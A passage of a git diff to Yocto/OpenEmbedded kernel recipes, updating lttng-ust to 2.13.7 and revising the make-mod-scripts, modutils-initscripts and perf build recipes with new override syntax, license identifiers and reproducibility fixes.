+@@ -16,6 +16,7 @@ liblttng_ust_common_la_SOURCES = \
+
+ liblttng_ust_common_la_LIBADD = \
+ $(top_builddir)/src/common/libcommon.la \
++ $(URCU_LIBS) \
+ $(DL_LIBS)
+
+ liblttng_ust_common_la_LDFLAGS = -no-undefined -version-info $(LTTNG_UST_LIBRARY_VERSION)
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
index c2028d0e1a..7c49583e0d 100644
--- a/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
@@ -1,6 +1,6 @@
-From f79dac30af9adda12996da7f6aa6667d3b580537 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 26 Sep 2019 17:54:00 +0800
+From f65efd963e52de51d35e2e03fb773f33dd64f565 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 20 Feb 2024 12:19:06 +0000
Subject: [PATCH] python-lttngust/Makefile.am: Add --install-lib to setup.py
Otherwise it may install to /usr/lib, but should be /usr/lib64 when cross
@@ -9,23 +9,21 @@ building.
Upstream-Status: Submitted [https://github.com/lttng/lttng-ust/pull/59]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+
---
- python-lttngust/Makefile.am | 2 +-
+ src/python-lttngust/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/python-lttngust/Makefile.am b/python-lttngust/Makefile.am
-index 6c0d20d..38b51b8 100644
---- a/python-lttngust/Makefile.am
-+++ b/python-lttngust/Makefile.am
-@@ -9,7 +9,7 @@ install-exec-local:
+diff --git a/src/python-lttngust/Makefile.am b/src/python-lttngust/Makefile.am
+index d53e21d..283901e 100644
+--- a/src/python-lttngust/Makefile.am
++++ b/src/python-lttngust/Makefile.am
+@@ -45,7 +45,7 @@ install-exec-local: build-python-bindings.stamp
if [ "$(DESTDIR)" != "" ]; then \
opts="$$opts --root=$(DESTDIR)"; \
fi; \
-- $(PYTHON) setup.py install $$opts;
-+ $(PYTHON) setup.py install $$opts --install-lib=$(pythondir);
+- $(PYTHON) $(builddir)/setup.py install $(PY_INSTALL_OPTS) $$opts;
++ $(PYTHON) $(builddir)/setup.py install $(PY_INSTALL_OPTS) $$opts --install-lib=$(pythondir);
clean-local:
rm -rf $(builddir)/build
---
-2.7.4
-
diff --git a/meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb b/meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb
deleted file mode 100644
index ad544d1b4a..0000000000
--- a/meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "Linux Trace Toolkit Userspace Tracer 2.x"
-DESCRIPTION = "The LTTng UST 2.x package contains the userspace tracer library to trace userspace codes."
-HOMEPAGE = "http://lttng.org/ust"
-BUGTRACKER = "https://bugs.lttng.org/projects/lttng-ust"
-
-LICENSE = "LGPLv2.1+ & MIT & GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c963eb366b781252b0bf0fdf1624d9e9 \
- file://snprintf/snprintf.c;endline=32;md5=d3d544959d8a3782b2e07451be0a903c \
- file://snprintf/various.h;endline=31;md5=89f2509b6b4682c4fc95255eec4abe44"
-
-PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
- am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
- PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
-"
-
-inherit autotools lib_package manpages python3native
-
-EXTRA_OECONF = "--disable-numa"
-
-DEPENDS = "liburcu util-linux"
-RDEPENDS_${PN}-bin = "python3-core"
-
-# For backwards compatibility after rename
-RPROVIDES_${PN} = "lttng2-ust"
-RREPLACES_${PN} = "lttng2-ust"
-RCONFLICTS_${PN} = "lttng2-ust"
-
-PE = "2"
-
-SRC_URI = "https://lttng.org/files/lttng-ust/lttng-ust-${PV}.tar.bz2 \
- file://0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch \
- "
-
-SRC_URI[md5sum] = "3bf4a04c305271d13cf6596c4e7b9b3c"
-SRC_URI[sha256sum] = "1983edb525f3f27e3494088d8d5389b4c71af66bbfe63c6f1df2ad95aa44a528"
-
-CVE_PRODUCT = "ust"
-
-PACKAGECONFIG[examples] = "--enable-examples, --disable-examples,"
-PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
-PACKAGECONFIG[python3-agent] = "--enable-python-agent ${PYTHON_OPTION}, --disable-python-agent, python3, python3"
-
-FILES_${PN} += " ${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-staticdev += " ${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += " ${PYTHON_SITEPACKAGES_DIR}/*.la"
-
-do_install_append() {
- # Patch python tools to use Python 3; they should be source compatible, but
- # still refer to Python 2 in the shebang
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${bindir}/lttng-gen-tp
-}
diff --git a/meta/recipes-kernel/lttng/lttng-ust_2.13.7.bb b/meta/recipes-kernel/lttng/lttng-ust_2.13.7.bb
new file mode 100644
index 0000000000..9509185bad
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust_2.13.7.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Linux Trace Toolkit Userspace Tracer 2.x"
+DESCRIPTION = "The LTTng UST 2.x package contains the userspace tracer library to trace userspace codes."
+HOMEPAGE = "http://lttng.org/ust"
+BUGTRACKER = "https://bugs.lttng.org/projects/lttng-ust"
+
+LICENSE = "LGPL-2.1-or-later & MIT & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a46577a38ad0c36ff6ff43ccf40c480f"
+
+PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
+ am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
+ PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
+"
+
+inherit autotools lib_package manpages python3native pkgconfig
+
+include lttng-platforms.inc
+
+EXTRA_OECONF = "--disable-numa"
+CPPFLAGS:append:arm = "${@oe.utils.vartrue('DEBUG_BUILD', '-DUATOMIC_NO_LINK_ERROR', '', d)}"
+
+DEPENDS = "liburcu util-linux"
+RDEPENDS:${PN}-bin = "python3-core"
+
+# For backwards compatibility after rename
+RPROVIDES:${PN} = "lttng2-ust"
+RREPLACES:${PN} = "lttng2-ust"
+RCONFLICTS:${PN} = "lttng2-ust"
+
+PE = "2"
+
+SRC_URI = "https://lttng.org/files/lttng-ust/lttng-ust-${PV}.tar.bz2 \
+ file://0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch \
+ file://0001-lttng-ust-common-link-with-liburcu-explicitly.patch \
+ file://0001-Makefile.am-update-rpath-link.patch \
+ "
+
+SRC_URI[sha256sum] = "5fb4f17c307c8c1b79c68561e89be9562d07e7425bf40e728c4d66755342a5eb"
+
+CVE_PRODUCT = "ust"
+
+PACKAGECONFIG[examples] = "--enable-examples, --disable-examples,"
+PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
+PACKAGECONFIG[python3-agent] = "--enable-python-agent ${PYTHON_OPTION}, --disable-python-agent, python3, python3"
+
+FILES:${PN} += " ${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-staticdev += " ${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += " ${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+do_install:append() {
+ # Patch python tools to use Python 3; they should be source compatible, but
+ # still refer to Python 2 in the shebang
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${bindir}/lttng-gen-tp
+}
diff --git a/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb b/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
index c7edb20ee4..a91680d497 100644
--- a/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
+++ b/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
@@ -1,8 +1,9 @@
SUMMARY = "Build tools needed by external modules"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+HOMEPAGE = "https://www.yoctoproject.org/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
-inherit kernel-arch
+inherit kernel-arch linux-kernel-base
inherit pkgconfig
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -12,11 +13,16 @@ S = "${WORKDIR}"
do_configure[depends] += "virtual/kernel:do_shared_workdir openssl-native:do_populate_sysroot"
do_compile[depends] += "virtual/kernel:do_compile_kernelmodules"
-RDEPENDS_${PN}-dev = ""
+DEV_PKG_DEPENDENCY = ""
DEPENDS += "bc-native bison-native"
+DEPENDS += "gmp-native"
EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
+EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX} ${BUILD_CXXFLAGS} ${BUILD_LDFLAGS}" CROSS_COMPILE=${TARGET_PREFIX}"
+
+KERNEL_LOCALVERSION = "${@get_kernellocalversion_file("${STAGING_KERNEL_BUILDDIR}")}"
+export LOCALVERSION="${KERNEL_LOCALVERSION}"
# Build some host tools under work-shared. CC, LD, and AR are probably
# not used, but this is the historical way of invoking "make scripts".
@@ -24,7 +30,9 @@ EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="
do_configure() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
for t in prepare scripts_basic scripts; do
- oe_runmake CC="${KERNEL_CC}" LD="${KERNEL_LD}" AR="${KERNEL_AR}" \
+ oe_runmake CC="${KERNEL_CC}" LD="${KERNEL_LD}" \
+ AR="${KERNEL_AR}" OBJCOPY="${KERNEL_OBJCOPY}" \
+ STRIP="${KERNEL_STRIP}" \
-C ${STAGING_KERNEL_DIR} O=${STAGING_KERNEL_BUILDDIR} $t
done
}
diff --git a/meta/recipes-kernel/modutils-initscripts/files/PD.patch b/meta/recipes-kernel/modutils-initscripts/files/PD.patch
deleted file mode 100644
index 21ac49cbd8..0000000000
--- a/meta/recipes-kernel/modutils-initscripts/files/PD.patch
+++ /dev/null
@@ -1,8 +0,0 @@
-Upstream-Status: Inappropriate [licensing]
-
-Index: modutils-initscripts-1.0/LICENSE
-===================================================================
---- /dev/null 1970-01-01 00:00:00.000000000 +0000
-+++ modutils-initscripts-1.0/LICENSE 2010-12-06 14:26:03.570339002 -0800
-@@ -0,0 +1 @@
-+Public Domain
diff --git a/meta/recipes-kernel/modutils-initscripts/files/modutils.sh b/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
index a78adf5729..e9aaa66cb7 100755
--- a/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
+++ b/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: MIT
+#
+
### BEGIN INIT INFO
# Provides: module-init-tools
# Required-Start:
@@ -13,14 +17,17 @@
LOAD_MODULE=modprobe
[ -f /proc/modules ] || exit 0
-[ -f /etc/modules ] || [ -d /etc/modules-load.d ] || exit 0
-[ -e /sbin/modprobe ] || LOAD_MODULE=insmod
+[ -d /lib/modules/`uname -r` ] || exit 0
-if [ ! -f /lib/modules/`uname -r`/modules.dep ]; then
+# Test if modules.dep exists and has a size greater than zero
+if [ ! -s /lib/modules/`uname -r`/modules.dep ]; then
[ "$VERBOSE" != no ] && echo "Calculating module dependencies ..."
- depmod -Ae
+ depmod -a
fi
+[ -f /etc/modules ] || [ -d /etc/modules-load.d ] || exit 0
+[ -e /sbin/modprobe ] || LOAD_MODULE=insmod
+
loaded_modules=" "
process_file() {
diff --git a/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb b/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
index 881b7db92e..b630a402ff 100644
--- a/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
+++ b/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
@@ -1,16 +1,14 @@
SUMMARY = "Initscript for auto-loading kernel modules on boot"
SECTION = "base"
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=7bf87fc37976e93ec66ad84fac58c098"
-SRC_URI = "file://modutils.sh \
- file://PD.patch"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://modutils.sh;beginline=3;endline=3;md5=b2dccaa94b3629a08bfb4f983cad6f89"
+SRC_URI = "file://modutils.sh"
-PR = "r7"
S = "${WORKDIR}"
INITSCRIPT_NAME = "modutils.sh"
-INITSCRIPT_PARAMS = "start 05 S ."
+INITSCRIPT_PARAMS = "start 06 S ."
inherit update-rc.d
@@ -22,8 +20,8 @@ do_install () {
install -m 0755 ${WORKDIR}/modutils.sh ${D}${sysconfdir}/init.d/
}
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
+pkg_postinst:${PN} () {
if type systemctl >/dev/null 2>/dev/null; then
if [ -n "$D" ]; then
OPTS="--root=$D"
diff --git a/meta/recipes-kernel/perf/perf-perl.inc b/meta/recipes-kernel/perf/perf-perl.inc
index ae77319b20..491f54c328 100644
--- a/meta/recipes-kernel/perf/perf-perl.inc
+++ b/meta/recipes-kernel/perf/perf-perl.inc
@@ -2,6 +2,10 @@ inherit perlnative cpan-base
# Env var which tells perl if it should use host (no) or target (yes) settings
export PERLCONFIGTARGET = "${@is_target(d)}"
-export PERL_INC = "${STAGING_LIBDIR}${PERL_OWN_DIR}/perl/${@get_perl_version(d)}/CORE"
-export PERL_LIB = "${STAGING_LIBDIR}${PERL_OWN_DIR}/perl/${@get_perl_version(d)}"
-export PERL_ARCHLIB = "${STAGING_LIBDIR}${PERL_OWN_DIR}/perl/${@get_perl_version(d)}"
+export PERL_INC = "${STAGING_LIBDIR}${PERL_OWN_DIR}/perl5/${@get_perl_version(d)}/${@get_perl_arch(d)}/CORE"
+export PERL_LIB = "${STAGING_LIBDIR}${PERL_OWN_DIR}/perl5/${@get_perl_version(d)}"
+export PERL_ARCHLIB = "${STAGING_LIBDIR}${PERL_OWN_DIR}/perl5/${@get_perl_version(d)}/${@get_perl_arch(d)}"
+
+# The perl symbols CPPSTDIN and CPPRUN embed the sysroot into the
+# binaries, work needed to remove this
+INSANE_SKIP:${PN}-dbg += "buildpaths"
diff --git a/meta/recipes-kernel/perf/perf.bb b/meta/recipes-kernel/perf/perf.bb
index cf95df710f..11fa917649 100644
--- a/meta/recipes-kernel/perf/perf.bb
+++ b/meta/recipes-kernel/perf/perf.bb
@@ -7,31 +7,38 @@ and software features (software counters, tracepoints) \
as well."
HOMEPAGE = "https://perf.wiki.kernel.org/index.php/Main_Page"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
-PR = "r9"
-PACKAGECONFIG ??= "scripting tui libunwind"
+PACKAGECONFIG ??= "python tui libunwind libtraceevent"
PACKAGECONFIG[dwarf] = ",NO_DWARF=1"
-PACKAGECONFIG[scripting] = ",NO_LIBPERL=1 NO_LIBPYTHON=1,perl python3"
+PACKAGECONFIG[perl] = ",NO_LIBPERL=1,perl"
+PACKAGECONFIG[python] = ",NO_LIBPYTHON=1,python3 python3-setuptools-native"
# gui support was added with kernel 3.6.35
# since 3.10 libnewt was replaced by slang
# to cover a wide range of kernel we add both dependencies
PACKAGECONFIG[tui] = ",NO_NEWT=1,libnewt slang"
PACKAGECONFIG[libunwind] = ",NO_LIBUNWIND=1 NO_LIBDW_DWARF_UNWIND=1,libunwind"
PACKAGECONFIG[libnuma] = ",NO_LIBNUMA=1"
+PACKAGECONFIG[bfd] = ",NO_LIBBFD=1"
PACKAGECONFIG[systemtap] = ",NO_SDT=1,systemtap"
PACKAGECONFIG[jvmti] = ",NO_JVMTI=1"
# libaudit support would need scripting to be enabled
PACKAGECONFIG[audit] = ",NO_LIBAUDIT=1,audit"
PACKAGECONFIG[manpages] = ",,xmlto-native asciidoc-native"
PACKAGECONFIG[cap] = ",,libcap"
+PACKAGECONFIG[libtraceevent] = ",NO_LIBTRACEEVENT=1,libtraceevent"
+# jevents requires host python for generating a .c file, but is
+# unrelated to the python item.
+PACKAGECONFIG[jevents] = ",NO_JEVENTS=1,python3-native"
# Arm CoreSight
PACKAGECONFIG[coresight] = "CORESIGHT=1,,opencsd"
+PACKAGECONFIG[pfm4] = ",NO_LIBPFM4=1,libpfm4"
+PACKAGECONFIG[babeltrace] = ",NO_LIBBABELTRACE=1,babeltrace"
# libunwind is not yet ported for some architectures
-PACKAGECONFIG_remove_arc = "libunwind"
-PACKAGECONFIG_remove_riscv64 = "libunwind"
+PACKAGECONFIG:remove:arc = "libunwind"
+PACKAGECONFIG:remove:riscv32 = "libunwind"
DEPENDS = " \
virtual/${MLPREFIX}libc \
@@ -47,7 +54,7 @@ PROVIDES = "virtual/perf"
inherit linux-kernel-base kernel-arch manpages
# needed for building the tools/perf Python bindings
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'python3native', '', d)}
+inherit_defer ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3targetconfig', '', d)}
inherit python3-dir
export PYTHON_SITEPACKAGES_DIR
@@ -57,7 +64,7 @@ export WERROR = "0"
do_populate_lic[depends] += "virtual/kernel:do_shared_workdir"
# needed for building the tools/perf Perl binding
-include ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'perf-perl.inc', '', d)}
+include ${@bb.utils.contains('PACKAGECONFIG', 'perl', 'perf-perl.inc', '', d)}
inherit kernelsrc
@@ -69,7 +76,18 @@ SPDX_S = "${S}/tools/perf"
# supported kernel.
LDFLAGS="-ldl -lutil"
+# Perf's build system adds its own optimization flags for most TUs,
+# overriding the flags included here. But for some, perf does not add
+# any -O option, so ensure the distro's chosen optimization gets used
+# for those. Since ${SELECTED_OPTIMIZATION} always includes
+# ${DEBUG_FLAGS} which in turn includes ${DEBUG_PREFIX_MAP}, this also
+# ensures perf is built with appropriate -f*-prefix-map options,
+# avoiding the 'buildpaths' QA warning.
+TARGET_CC_ARCH += "${SELECTED_OPTIMIZATION}"
+
EXTRA_OEMAKE = '\
+ V=1 \
+ VF=1 \
-C ${S}/tools/perf \
O=${B} \
CROSS_COMPILE=${TARGET_PREFIX} \
@@ -79,11 +97,13 @@ EXTRA_OEMAKE = '\
LDSHARED="${CC} -shared" \
AR="${AR}" \
LD="${LD}" \
- EXTRA_CFLAGS="-ldw" \
+ EXTRA_CFLAGS="-ldw -I${S}" \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
EXTRA_LDFLAGS="${PERF_EXTRA_LDFLAGS}" \
perfexecdir=${libexecdir} \
NO_GTK2=1 \
${PACKAGECONFIG_CONFARGS} \
+ PKG_CONFIG=pkg-config \
TMPDIR="${B}" \
LIBUNWIND_DIR=${STAGING_EXECPREFIXDIR} \
'
@@ -99,7 +119,7 @@ EXTRA_OEMAKE += "\
'sharedir=${@os.path.relpath(datadir, prefix)}' \
'mandir=${@os.path.relpath(mandir, prefix)}' \
'infodir=${@os.path.relpath(infodir, prefix)}' \
- ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'PYTHON=python3 PYTHON_CONFIG=python3-config', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'python', 'PYTHON=python3 PYTHON_CONFIG=python3-config', '', d)} \
"
# During do_configure, we might run a 'make clean'. That often breaks
@@ -107,8 +127,12 @@ EXTRA_OEMAKE += "\
# that it has to be done this way rather than by passing -j1, since
# perf's build system by default ignores any -j argument, but does
# honour a JOBS variable.
-EXTRA_OEMAKE_append_task-configure = " JOBS=1"
+EXTRA_OEMAKE:append:task-configure = " JOBS=1"
+# the architectures that need this file can be found in
+# tools/include/uapi/asm/bpf_perf_event.h
+# We are only listing supported arches at the moment
+PERF_BPF_EVENT_SRC ?= '${@bb.utils.contains_any("ARCH", [ "riscv", "arm64" ], "arch/${ARCH}/include/uapi/asm/bpf_perf_event.h", "", d)}'
PERF_SRC ?= "Makefile \
tools/arch \
tools/build \
@@ -118,18 +142,26 @@ PERF_SRC ?= "Makefile \
tools/perf \
tools/scripts \
scripts/ \
+ arch/arm64/tools \
+ ${PERF_BPF_EVENT_SRC} \
arch/${ARCH}/Makefile \
"
PERF_EXTRA_LDFLAGS = ""
-# MIPS N32
-PERF_EXTRA_LDFLAGS_mipsarchn32eb = "-m elf32btsmipn32"
-PERF_EXTRA_LDFLAGS_mipsarchn32el = "-m elf32ltsmipn32"
+# MIPS N32/N64
+PERF_EXTRA_LDFLAGS:mipsarchn32eb = "-m elf32btsmipn32"
+PERF_EXTRA_LDFLAGS:mipsarchn32el = "-m elf32ltsmipn32"
+PERF_EXTRA_LDFLAGS:mipsarchn64eb = "-m elf64btsmip"
+PERF_EXTRA_LDFLAGS:mipsarchn64el = "-m elf64ltsmip"
do_compile() {
# Linux kernel build system is expected to do the right thing
unset CFLAGS
+ test -e ${S}/tools/lib/traceevent/plugins/Makefile && \
+ sed -i -e 's|\$(libdir)/traceevent/plugins|\$(libdir)/traceevent_${KERNEL_VERSION}/plugins|g' ${S}/tools/lib/traceevent/plugins/Makefile
+ test -e ${S}/tools/perf/Makefile.config && \
+ sed -i -e 's|\$(libdir)/traceevent/plugins|\$(libdir)/traceevent_${KERNEL_VERSION}/plugins|g' ${S}/tools/perf/Makefile.config
oe_runmake all
}
@@ -138,8 +170,11 @@ do_install() {
unset CFLAGS
oe_runmake install
# we are checking for this make target to be compatible with older perf versions
- if ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'true', 'false', d)} && grep -q install-python_ext ${S}/tools/perf/Makefile*; then
+ if ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)} && grep -q install-python_ext ${S}/tools/perf/Makefile*; then
oe_runmake DESTDIR=${D} install-python_ext
+ if [ -e ${D}${libdir}/python*/site-packages/perf-*/SOURCES.txt ]; then
+ sed -i -e 's#${WORKDIR}##g' ${D}${libdir}/python*/site-packages/perf-*/SOURCES.txt
+ fi
fi
}
@@ -154,7 +189,8 @@ python copy_perf_source_from_kernel() {
src = oe.path.join(src_dir, s)
dest = oe.path.join(dest_dir, s)
if not os.path.exists(src):
- bb.fatal("Path does not exist: %s. Maybe PERF_SRC does not match the kernel version." % src)
+ bb.warn("Path does not exist: %s. Maybe PERF_SRC lists more files than what your kernel version provides and needs." % src)
+ continue
if os.path.isdir(src):
oe.path.copyhardlinktree(src, dest)
else:
@@ -163,7 +199,7 @@ python copy_perf_source_from_kernel() {
bb.utils.copyfile(src, dest)
}
-do_configure_prepend () {
+do_configure:prepend () {
# If building a multlib based perf, the incorrect library path will be
# detected by perf, since it triggers via: ifeq ($(ARCH),x86_64). In a 32 bit
# build, with a 64 bit multilib, the arch won't match and the detection of a
@@ -199,22 +235,101 @@ do_configure_prepend () {
if [ -e "${S}/tools/perf/Makefile.perf" ]; then
sed -i -e 's,\ .config-detected, $(OUTPUT)/config-detected,g' \
${S}/tools/perf/Makefile.perf
- sed -i -e "s,prefix='\$(DESTDIR_SQ)/usr'$,prefix='\$(DESTDIR_SQ)/usr' --install-lib='\$(DESTDIR)\$(PYTHON_SITEPACKAGES_DIR)',g" \
+ # Variant with linux-yocto-specific patch
+ sed -i -e "s,prefix='\$(DESTDIR_SQ)/usr'$,prefix='\$(DESTDIR_SQ)/usr' --install-lib='\$(PYTHON_SITEPACKAGES_DIR)' --root='\$(DESTDIR)',g" \
+ ${S}/tools/perf/Makefile.perf
+ # Variant for mainline Linux
+ sed -i -e "s,root='/\$(DESTDIR_SQ)',prefix='\$(DESTDIR_SQ)/usr' --install-lib='\$(PYTHON_SITEPACKAGES_DIR)' --root='/\$(DESTDIR_SQ)',g" \
+ ${S}/tools/perf/Makefile.perf
+ # backport https://github.com/torvalds/linux/commit/e4ffd066ff440a57097e9140fa9e16ceef905de8
+ sed -i -e 's,\($(Q)$(SHELL) .$(arch_errno_tbl).\) $(CC) $(arch_errno_hdr_dir),\1 $(firstword $(CC)) $(arch_errno_hdr_dir),g' \
${S}/tools/perf/Makefile.perf
fi
sed -i -e "s,--root='/\$(DESTDIR_SQ)',--prefix='\$(DESTDIR_SQ)/usr' --install-lib='\$(DESTDIR)\$(PYTHON_SITEPACKAGES_DIR)',g" \
- ${S}/tools/perf/Makefile*
+ ${S}/tools/perf/Makefile
if [ -e "${S}/tools/build/Makefile.build" ]; then
sed -i -e 's,\ .config-detected, $(OUTPUT)/config-detected,g' \
${S}/tools/build/Makefile.build
fi
+ # start reproducibility substitutions
+ if [ -e "${S}/tools/perf/Makefile.config" ]; then
+ # The following line in the Makefle:
+ # override PYTHON := $(call get-executable-or-default,PYTHON,$(PYTHON_AUTO))
+ # "PYTHON" / "PYTHON_AUTO" have the full path as part of the variable. We've
+ # ensure that the environment is setup and we do not need the full path to be
+ # captured, since the symbol gets built into the executable, making it not
+ # reproducible.
+ sed -i -e 's,$(call get-executable-or-default\,PYTHON\,$(PYTHON_AUTO)),$(notdir $(call get-executable-or-default\,PYTHON\,$(PYTHON_AUTO))),g' \
+ ${S}/tools/perf/Makefile.config
+ # The same line is in older releases, but looking explicitly for Python 2
+ sed -i -e 's,$(call get-executable-or-default\,PYTHON\,$(PYTHON2)),$(notdir $(call get-executable-or-default\,PYTHON\,$(PYTHON2))),g' \
+ ${S}/tools/perf/Makefile.config
+
+ # likewise with this substitution. Kernels with commit 18f2967418d031a39
+ # [perf tools: Use Python devtools for version autodetection rather than runtime]
+ # need this substitution for reproducibility.
+ sed -i -e 's,$(call get-executable-or-default\,PYTHON\,$(subst -config\,\,$(PYTHON_AUTO))),$(notdir $(call get-executable-or-default\,PYTHON\,$(subst -config\,\,$(PYTHON_AUTO)))),g' \
+ ${S}/tools/perf/Makefile.config
+
+ # The following line:
+ # srcdir_SQ = $(patsubst %tools/perf,tools/perf,$(subst ','\'',$(srcdir))),
+ # Captures the full src path of perf, which of course makes it not
+ # reproducible. We really only need the relative location 'tools/perf', so we
+ # change the Makefile line to remove everything before 'tools/perf'
+ sed -i -e "s%srcdir_SQ = \$(subst ','\\\'',\$(srcdir))%srcdir_SQ = \$(patsubst \%tools/perf,tools/perf,\$(subst ','\\\'',\$(srcdir)))%g" \
+ ${S}/tools/perf/Makefile.config
+ # Avoid hardcoded path to python-native
+ sed -i -e 's#\(PYTHON_WORD := \)$(call shell-wordify,$(PYTHON))#\1 python3#g' \
+ ${S}/tools/perf/Makefile.config
+ fi
+ if [ -e "${S}/tools/perf/tests/Build" ]; then
+ # OUTPUT is the full path, we have python on the path so we remove it from the
+ # definition. This is captured in the perf binary, so breaks reproducibility
+ sed -i -e 's,PYTHONPATH="BUILD_STR($(OUTPUT)python)",PYTHONPATH="BUILD_STR(python)",g' \
+ ${S}/tools/perf/tests/Build
+ fi
+ if [ -e "${S}/tools/perf/util/Build" ]; then
+ # To avoid bison generating #ifdefs that have captured paths, we make sure
+ # all the calls have YFLAGS, which contains prefix mapping information.
+ sed -i -e 's,$(BISON),$(BISON) $(YFLAGS),g' ${S}/tools/perf/util/Build
+ fi
+ if [ -e "${S}/scripts/Makefile.host" ]; then
+ # To avoid yacc (bison) generating #ifdefs that have captured paths, we make sure
+ # all the calls have YFLAGS, which contains prefix mapping information.
+ sed -i -e 's,$(YACC),$(YACC) $(YFLAGS),g' ${S}/scripts/Makefile.host
+ fi
+ if [ -e "${S}/tools/perf/pmu-events/Build" ]; then
+ target='$(OUTPUT)pmu-events/pmu-events.c $(V)'
+ replacement1='$(OUTPUT)pmu-events/pmu-events.c $(V)\n'
+ replacement2='\t$(srctree)/sort-pmuevents.py $(OUTPUT)pmu-events/pmu-events.c $(OUTPUT)pmu-events/pmu-events.c.new\n'
+ replacement3='\tcp $(OUTPUT)pmu-events/pmu-events.c.new $(OUTPUT)pmu-events/pmu-events.c'
+ sed -i -e "s,$target,$replacement1$replacement2$replacement3,g" \
+ "${S}/tools/perf/pmu-events/Build"
+ fi
+ if [ -e "${S}/tools/perf/pmu-events/jevents.py" ]; then
+ sed -i -e "s#os.scandir(path)#sorted(os.scandir(path), key=lambda e: e.name)#g" \
+ "${S}/tools/perf/pmu-events/jevents.py"
+ fi
+ if [ -e "${S}/tools/perf/arch/arm64/Makefile" ]; then
+ sed -i 's,sysdef := $(srctree)/,sysdef := ,' ${S}/tools/perf/arch/arm64/Makefile
+ sed -i 's,$(incpath) $(sysdef),$(incpath) $(srctree)/$(sysdef) $(sysdef),' ${S}/tools/perf/arch/arm64/Makefile
+ fi
